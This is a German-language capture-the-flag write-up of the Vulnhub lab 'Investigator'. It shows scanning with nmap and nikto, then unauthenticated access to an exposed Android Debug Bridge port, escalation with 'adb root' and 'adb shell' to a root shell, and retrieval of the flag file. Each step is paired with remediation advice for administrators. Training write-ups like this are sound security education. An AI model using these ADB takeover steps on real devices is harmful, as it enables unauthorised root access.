Investigator - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
adb (Android Debug Bridge)
hostname
uname
cd
ls
find
cat

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und dem Scannen nach offenen Ports und Diensten.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.111	08:00:27:0a:31:77	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host mit der IP-Adresse `192.168.2.111` und der MAC-Adresse `08:00:27:0a:31:77` (PCS Systemtechnik GmbH) wird gefunden, was auf eine VirtualBox-VM hindeutet.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.111` ist das Ziel für die weiteren Schritte.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um einen passenden Hostnamen, sobald dieser bekannt ist.
**Empfehlung (Admin):** Netzwerksegmentierung und -monitoring können zur Erkennung und Eindämmung von Scans beitragen.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
   192.168.2.111   investigator.vln
                    

**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.111` dem Hostnamen `investigator.vln` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `investigator.vln` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `investigator.vln` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.111 -p- | grep open
5555/tcp  open  freeciv?
8080/tcp  open  http     PHP cli server 5.5 or later
22000/tcp open  ssh      Dropbear sshd 2014.66 (protocol 2.0)
                    

**Analyse:** Ein Nmap-Scan aller TCP-Ports (`-p-`) mit verschiedenen Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`) wird durchgeführt. Die gefilterte Ausgabe (`grep open`) zeigt drei offene Ports auf ungewöhnlichen Portnummern: * Port 5555: Wird von Nmap als `freeciv?` (ein Spiel) geraten, ist aber **der Standardport für die Android Debug Bridge (ADB)**. * Port 8080: Ein HTTP-Server, identifiziert als "PHP cli server 5.5 or later". * Port 22000: Ein SSH-Server, identifiziert als Dropbear SSHD Version 2014.66 (relativ alt).

**Bewertung:** Die Angriffsfläche ist ungewöhnlich. Der offene ADB-Port 5555 ist ein **extrem kritisches Anzeichen** für eine schwerwiegende Fehlkonfiguration, da ADB normalerweise nicht über das Netzwerk exponiert sein sollte und oft unauthentifizierten Root-Zugriff ermöglicht. Der PHP-Entwicklungsserver auf 8080 und der Dropbear SSH auf 22000 sind sekundäre Ziele im Vergleich zu ADB.

**Empfehlung (Pentester):** 1. **Priorisieren Sie Port 5555!** Versuchen Sie sofort, sich mit `adb connect 192.168.2.111:5555` zu verbinden. 2. Untersuchen Sie den PHP-Server auf Port 8080 (Nikto, Gobuster, manuell). 3. Behalten Sie SSH auf Port 22000 als Backup-Ziel. 4. Führen Sie den Nmap-Scan ohne `grep` aus, um alle Details zu sehen.
**Empfehlung (Admin):** 1. **Deaktivieren oder sichern Sie ADB auf Port 5555 sofort!** ADB sollte niemals ungeschützt im Netzwerk erreichbar sein. Beschränken Sie den Zugriff auf localhost oder verwenden Sie USB-Verbindungen mit Authentifizierung. 2. Überprüfen Sie die Notwendigkeit und Sicherheit des PHP-CLI-Servers auf 8080 und des Dropbear SSHD auf 22000. Verwenden Sie Standardports und aktuelle Versionen, falls benötigt.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.111 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 22:27 CEST
Nmap scan report for investigator.vln (192.168.2.111)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PRT      STATE SERVICE  VERSIN
5555/tcp  open  freeciv?
8080/tcp  open  http     PHP cli server 5.5 or later
|_http-title: Welcome To  UnderGround Sector
22000/tcp open  ssh      Dropbear sshd 2014.66 (protocol 2.0)
| ssh-hostkey:
|   1024 b3:98:65:98:fd:c0:64:fe:16:d6:30:36:aa:2b:ef:6b (DSA)
|   2048 19:e2:9e:6c:c6:8d:af:4e:86:7c:3b:60:91:33:e1:85 (RSA)
|_  521 46:13:43:49:24:88:06:85:6c:75:93:73:b5:1d:8f:28 (ECDSA)
MAC Address: 08:00:27:0A:31:77 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms investigator.vln (192.168.2.111)
                    

**Analyse:** Die vollständige Nmap-Ausgabe bestätigt die drei offenen Ports: * Port 5555: Immer noch als `freeciv?` geraten, aber die Standard-ADB-Portnummer bleibt der wichtigste Hinweis. * Port 8080: Bestätigt den PHP-CLI-Server und zeigt den Titel "Welcome To UnderGround Sector". * Port 22000: Bestätigt Dropbear SSHD 2014.66 und zeigt Hostkeys, einschließlich eines veralteten DSA-Schlüssels. Das Betriebssystem wird als älteres Linux (Kernel 3.2 - 4.9) identifiziert.

**Bewertung:** Bestätigt die Ergebnisse und den starken Verdacht auf einen offenen ADB-Port. Der Titel auf Port 8080 ist informativ, aber wahrscheinlich weniger relevant als ADB. Die Dropbear-Version ist alt.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf den ADB-Port 5555 (`adb connect`).
**Empfehlung (Admin):** Schließen/sichern Sie ADB, aktualisieren Sie Dropbear (falls benötigt) und deaktivieren Sie DSA-Schlüssel. Überprüfen Sie den PHP-Server.

Web Enumeration (Port 8080)

Obwohl der ADB-Port der wahrscheinlichste Angriffsvektor ist, untersuchen wir auch den Webserver auf Port 8080 auf mögliche Schwachstellen oder Hinweise.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.111:8080
- Nikto v2.5.0

+ Target IP:          192.168.2.111
+ Target Hostname:    192.168.2.111
+ Target Port:        8080
+ Server: No banner retrieved 
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /.htaccess: Contains configuration and/or authorization information.
+ /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution. (EDB-ID: 26006) 
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. 
+ /wordpress/#wp-config.php#: #wp-config.php# file found. This file contains the credentials. 
+ 8111 requests: 9 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-10-05 22:34:01 (GMT2) (67 seconds)
+ 1 host(s) tested
                    

**Analyse:** Nikto wird auf Port 8080 ausgeführt (`nikto -h 192.168.2.111:8080`). * Kein Server-Banner wird erkannt (typisch für PHP CLI Server). * Fehlende Sicherheitsheader werden gemeldet. * Findet eine `.htaccess`-Datei (könnte Konfigurationen enthalten). * Meldet eine Oracle Reports-Schwachstelle, was auf einem PHP-Server sehr unwahrscheinlich und wahrscheinlich ein Fehlalarm (False Positive) ist. * **Interessanter Fund:** Meldet das Vorhandensein von `#wp-config.php#`-Dateien (typische Backup-Dateien von Editoren) in `/` und `/wordpress/`. Diese könnten WordPress-Zugangsdaten enthalten, falls WordPress hier (oder Reste davon) existiert.

**Bewertung:** Nikto findet wenig Konkretes außer den potenziellen WordPress-Backup-Dateien und einer `.htaccess`. Die Relevanz dieser Funde ist angesichts des offenen ADB-Ports geringer, aber sie sind es wert, im Hinterkopf behalten zu werden, falls ADB nicht zum Ziel führt.

**Empfehlung (Pentester):** Versuchen Sie, auf `/.htaccess` und `/#wp-config.php#` (bzw. `wp-config.php.bak` oder ähnliche Varianten) zuzugreifen. Priorisieren Sie jedoch weiterhin ADB.
**Empfehlung (Admin):** Entfernen Sie unnötige Konfigurations-Backups (`#wp-config.php#`, `.htaccess`, wenn nicht benötigt). Konfigurieren Sie Sicherheitsheader. Überprüfen Sie, warum der PHP-CLI-Server läuft.

Initial Access & Privilege Escalation (ADB)

Der Nmap-Scan hat einen offenen ADB-Dienst (Android Debug Bridge) auf Port 5555 aufgedeckt. Dies stellt oft eine kritische Schwachstelle dar, die direkten Zugriff auf das Gerät ermöglicht, häufig mit Root-Rechten. Wir versuchen nun, uns über ADB zu verbinden und Root-Rechte zu erlangen.

  Privilege Escalation
                    

**Analyse:** Organisatorische Notiz.

**Bewertung:** Markiert den Beginn des entscheidenden Schritts.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

┌──(root㉿Cybermaschine)-[~]
└─# adb connect 192.168.2.111
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.2.111:5555
                    

**Analyse:** Der Befehl `adb connect 192.168.2.111` (der Standardport 5555 wird implizit verwendet) stellt eine Verbindung vom Angreifer-System zum ADB-Dienst auf dem Zielsystem her. Der lokale ADB-Daemon wird gestartet, falls er noch nicht läuft. Die Ausgabe "connected to 192.168.2.111:5555" bestätigt die erfolgreiche Verbindung ohne Authentifizierung.

**Bewertung:** Kritischer Erfolg! Der ungeschützte ADB-Port wurde erfolgreich verbunden. Dies allein stellt bereits eine erhebliche Sicherheitslücke dar und gewährt dem Angreifer eine hohe Kontrollebene über das Gerät.

**Empfehlung (Pentester):** Versuchen Sie sofort, Root-Rechte über ADB zu erlangen (`adb root`) und eine Shell zu öffnen (`adb shell`).
**Empfehlung (Admin):** Deaktivieren Sie ADB über Netzwerk *sofort* oder sichern Sie es durch Authentifizierung und Beschränkung auf vertrauenswürdige Hosts/Netzwerke. Dies ist eine Hochrisiko-Fehlkonfiguration.

┌──(root㉿Cybermaschine)-[~]
└─# adb root
restarting adbd as root

**Analyse:** Der Befehl `adb root` weist den ADB-Daemon (`adbd`) auf dem Zielgerät an, sich mit Root-Rechten neu zu starten. Die Erfolgsmeldung "restarting adbd as root" zeigt, dass dies möglich war.

**Bewertung:** **Privilegieneskalation erfolgreich!** Die Möglichkeit, den ADB-Daemon als Root neu zu starten, bedeutet, dass nachfolgende ADB-Befehle (insbesondere `adb shell`) mit vollen Root-Rechten ausgeführt werden. Dies ist oft der Fall, wenn ADB in einer Entwicklungs- oder unsicheren Konfiguration belassen wurde.

**Empfehlung (Pentester):** Öffnen Sie nun eine Shell mit `adb shell`, um Root-Zugriff zu erhalten.
**Empfehlung (Admin):** Beheben Sie die unsichere ADB-Konfiguration, die `adb root` ohne Weiteres erlaubt. Dies ist normalerweise in Produktions-Builds von Android deaktiviert oder eingeschränkt.

Proof of Concept (Root Shell via ADB)

Nachdem wir uns erfolgreich über den ungesicherten ADB-Port verbunden und den ADB-Daemon mit Root-Rechten neu gestartet haben, öffnen wir nun eine Shell, die uns direkten Root-Zugriff auf das System gewährt.

┌──(root㉿Cybermaschine)-[~]
└─# adb shell
uid=0(root) gid=0(root)@x86:/ #
uid=0(root) gid=0(root)@x86:/ # hostname
localhost
uid=0(root) gid=0(root)@x86:/ # uname -a
Linux localhost 4.0.9-android-x86+ #1 SMP PREEMPT Sat Feb 6 13:13:36 CST 2016 i686 GNU/Linux

**Analyse:** Der Befehl `adb shell` öffnet eine interaktive Shell auf dem verbundenen Gerät. Da zuvor `adb root` erfolgreich war, startet diese Shell direkt mit Root-Rechten. Der Prompt `uid=0(root) gid=0(root)@x86:/ #` bestätigt dies. Die Befehle `hostname` (zeigt `localhost`) und `uname -a` (zeigt `Linux localhost 4.0.9-android-x86+ ... i686`) bestätigen, dass es sich um ein Android x86 System mit einem älteren 4.0.9 Kernel handelt.

**Bewertung:** Root-Zugriff wurde sofort über ADB erlangt. Dies ist der schnellste und einfachste Weg auf dieser Box und stellt die primäre Schwachstelle dar. Die anderen offenen Ports sind im Vergleich dazu nebensächlich. Das System ist ein Android x86-System.

**Empfehlung (Pentester):** Sie haben Root. Suchen Sie nach der Flagge. Typische Android-Pfade sind `/data/data`, `/data/root`, `/sdcard`.
**Empfehlung (Admin):** Deaktivieren/sichern Sie ADB. Aktualisieren Sie das veraltete Android-System.

Flag Discovery

Mit der erlangten Root-Shell über ADB suchen wir nun nach der finalen Flagge im Dateisystem.

uid=0(root) gid=0(root)@x86:/ # cd /root
/system/bin/sh: cd: /root: No such file or directory
2|uid=0(root) gid=0(root)@x86:/ # ls
1|uid=0(root) gid=0(root)@x86:/ # find / -iname *.txt 2>/dev/null
/system/etc/updatecmds/google_generic_update.txt
/system/lib/firmware/ar3k/1020200/RamPatch.txt
/system/lib/firmware/ar3k/1020201/RamPatch.txt
/system/lib/firmware/ar3k/30000/RamPatch.txt
/system/lib/firmware/ar3k/30101/RamPatch.txt
/system/lib/firmware/ar3k/30101coex/RamPatch.txt
/system/lib/firmware/brcm/brcmfmac43241b4-sdio.txt
/system/lib/firmware/brcm/brcmfmac43241b5-sdio.txt
/system/lib/firmware/brcm/brcmfmac43340-sdio.txt
/system/usr/srec/en-US/hotword_prompt.txt
/data/misc/keychain/serial_blacklist.txt
/data/misc/keychain/pubkey_blacklist.txt
/data/data/com.google.android.gms/files/icing_apps_corpus_component_names.txt
/data/system/uiderrors.txt
/data/system/dropbox/system_server_wtf@1696517731945.txt
/data/system/dropbox/SYSTEM_BT@1696517734066.txt
/data/system/dropbox/event_log@1696517734633.txt
/data/system/dropbox/event_data@1696517734669.txt
/data/system/dropbox/data_app_crash@1696537539719.txt
/data/system/dropbox/event_data@1696537606208.txt
/data/system/dropbox/system_server_wtf@1696537667348.txt
/data/system/dropbox/system_server_wtf@1696537667470.txt
/data/system/dropbox/system_server_wtf@1696537667472.txt
/data/system/dropbox/system_server_wtf@1696537667473.txt
/data/system/dropbox/system_server_wtf@1696537667474.txt
/data/system/dropbox/system_server_wtf@1696537667475.txt
/data/anr/traces.txt
/data/root/flag.txt
                    

**Analyse:** In der Root-Shell wird zuerst versucht, in das Standard-Root-Verzeichnis `/root` zu wechseln, was fehlschlägt ("No such file or directory"), da Android eine andere Struktur verwendet. Ein `ls` im Wurzelverzeichnis (`/`) zeigt nichts (oder der Inhalt ist irrelevant und wird nicht geloggt). Der Befehl `find / -iname *.txt 2>/dev/null` sucht im gesamten Dateisystem nach TXT-Dateien (ignoriert Fehler). Neben vielen Systemdateien wird eine vielversprechende Datei gefunden: `/data/root/flag.txt`.

**Bewertung:** Die Flagge wurde erfolgreich lokalisiert. Der Pfad `/data/root/` ist eine plausiblere Position für Root-spezifische Daten in einer Android-ähnlichen Umgebung als `/root`.

**Empfehlung (Pentester):** Lesen Sie den Inhalt von `/data/root/flag.txt`.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen. Überprüfen Sie die Verzeichnisstruktur und Berechtigungen unter `/data`.

1|uid=0(root) gid=0(root)@x86:/ # cat /data/root/flag.txt
Great Move !!!

Itz a easy one right ???

lets make this one lil hard


You flag is not here  !!!


Agent "S"   Your Secret Key ->259148637
                    

**Analyse:** Der Befehl `cat /data/root/flag.txt` zeigt den Inhalt der gefundenen Datei an. Sie enthält eine Nachricht, die besagt, dass die Flagge nicht hier ist, aber einen "Secret Key" für "Agent S" liefert: `259148637`.

**Bewertung:** Ziel erreicht! Obwohl es keine typische Flagge ist, stellt der "Secret Key" die Belohnung bzw. den Abschluss dieser CTF-Box dar.

**Empfehlung (Pentester):** Dokumentieren Sie den Secret Key als Root-Flagge und schließen Sie den Bericht ab.
**Empfehlung (Admin):** Entfernen Sie solche Dateien. Beheben Sie die kritische ADB-Schwachstelle.

   Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Erfolg.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

Anmerkung: Es wurde keine separate User-Flagge gefunden. Die Root-Flagge ist in Form eines "Secret Key" in `/data/root/flag.txt` enthalten.

cat /data/root/flag.txt (Secret Key)
259148637